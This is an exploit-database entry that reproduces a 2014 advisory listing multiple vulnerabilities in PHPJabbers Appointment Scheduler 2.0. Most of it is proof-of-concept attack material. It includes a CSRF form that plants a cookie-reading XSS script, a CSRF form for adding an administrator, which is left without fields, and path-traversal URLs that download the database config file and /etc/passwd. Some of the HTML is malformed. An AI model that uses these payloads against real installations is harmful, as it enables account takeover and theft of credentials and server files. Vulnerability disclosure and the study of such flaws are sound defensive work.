发布 2014-01-14 漏洞条目

PHPJabbers Appointment Scheduler 2.0 – Multiple Vulnerabilities

Exploit Source

Appointment Scheduler V2.0 - Multiple Vulnerabilities

=========================================================================

####################################################################

.:. Author : HackXBack

.:. Contact : h-b@usa.com

.:. Home : http://www.iphobos.com/blog/

.:. Script : http://www.phpjabbers.com/appointment-scheduler/

####################################################################

===[ Exploit ]===

[1] Cross Site Scripting

=========================

# CSRF with XSS Exploit:

<html>

<form method="POST" name="form0" action="

http://site/index.php?controller=pjAdminServices&action=pjActionCreate">

<input type="hidden" name="i18n[1][name]"

value="<script>alert(document.cookie);</script>"/>

</form>

</body>

</html>

[2] Cross Site Request Forgery

===============================

[Add Admin]

<html>

<form method="POST" name="form0" action="

http://site/index.php?controller=pjAdminUsers&action=pjActionCreate">

</form>

</body>

</html

[3] Local File disclure

========================

http://site/index.php?controller=pjBackup&action=pjActionDownload&id=../../../../../app/config/db.inc.php

http://site/index.php?controller=pjBackup&action=pjActionDownload&id=../../../../../../../../etc/passwd

####################################################################

相关漏洞条目